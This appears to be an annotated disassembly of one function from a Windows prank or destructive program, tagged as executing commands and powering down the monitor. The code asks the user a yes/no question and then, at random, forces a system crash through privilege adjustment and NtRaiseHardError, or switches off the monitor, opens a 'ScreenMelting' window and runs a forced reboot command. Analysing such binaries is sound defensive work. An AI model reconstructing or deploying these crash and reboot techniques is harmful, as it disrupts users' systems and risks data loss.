Function at 0x140001460
Capabilities:
Execute command
Power down monitor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r15, rcx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xor r12d, r12d
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], r12b
movups xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x1400045e0]
movdqu xmmword [rbp - 0x10], xmm1
mov byte [rbp - 0x20], r12b
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x14000770c], eax
lea ecx, [r12 + 1]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [0x140007708], eax
mov dword [rsp + 0x60], r12d
lea rax, [0x140001290]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r12
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
lea rax, [0x140004508]
mov qword [rbp - 0x60], rax
lea rdx, str.sechas_tebe_pizda_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019f0
mov rcx, rax
lea rdx, [0x140001bc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.gotov__.__Y_N
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019f0
mov rcx, rax
lea rdx, [0x140001bc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp - 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001c00
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r14d, eax
mov eax, 0x2aaaaaab
imul r14d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r14d, ecx
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x48]
mov rbx, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x30]
cmp rsi, 0x10
cmovae rcx, rbx
mov rdi, qword [rbp - 0x38]
cmp rdi, 1
jne 0x1400015ee
mov r8, rdi
lea rdx, [0x140004550]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000161b
lea rcx, [rbp - 0x48]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 1
jne 0x1400016cc
mov r8, rdi
lea rdx, [0x140004554]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400016cc
lea rdx, str.click
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019f0
mov rcx, rax
lea rdx, [0x140001bc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp r14d, 1
jne 0x1400016b0
lea rdx, [0x140004560]
call fcn.1400019f0
mov rcx, rax
lea rdx, [0x140001bc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp - 0x50]
xor r8d, r8d
movzx edx, r14b
lea ecx, [r14 + 0x12]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
jmp 0x140001815
lea rdx, str.tebe_povezlo_
call fcn.1400019f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001815
lea rdx, str.zrya...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019f0
mov rcx, rax
lea rdx, [0x140001bc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x112
mov ecx, 0xffff
mov r9, 0xffffffffffffffff
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x140001815
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov eax, dword [0x140007708]
mov dword [rsp + 0x38], eax
mov eax, dword [0x14000770c]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, str.ScreenMelting
lea ecx, [r8 + 8]
call qword [sym.imp.USER32.dll_CreateWindowExA]
test rax, rax
je 0x140001815
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
nop dword [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14000180f
lea rcx, str.C:windows_system32_shutdown__r__t_30_n_n
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp - 0x18], 0x12
jne 0x1400017d0
cmp rsi, 0x10
jb 0x14000184f
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001847
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001847
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400020bc
xor eax, eax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140002060
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret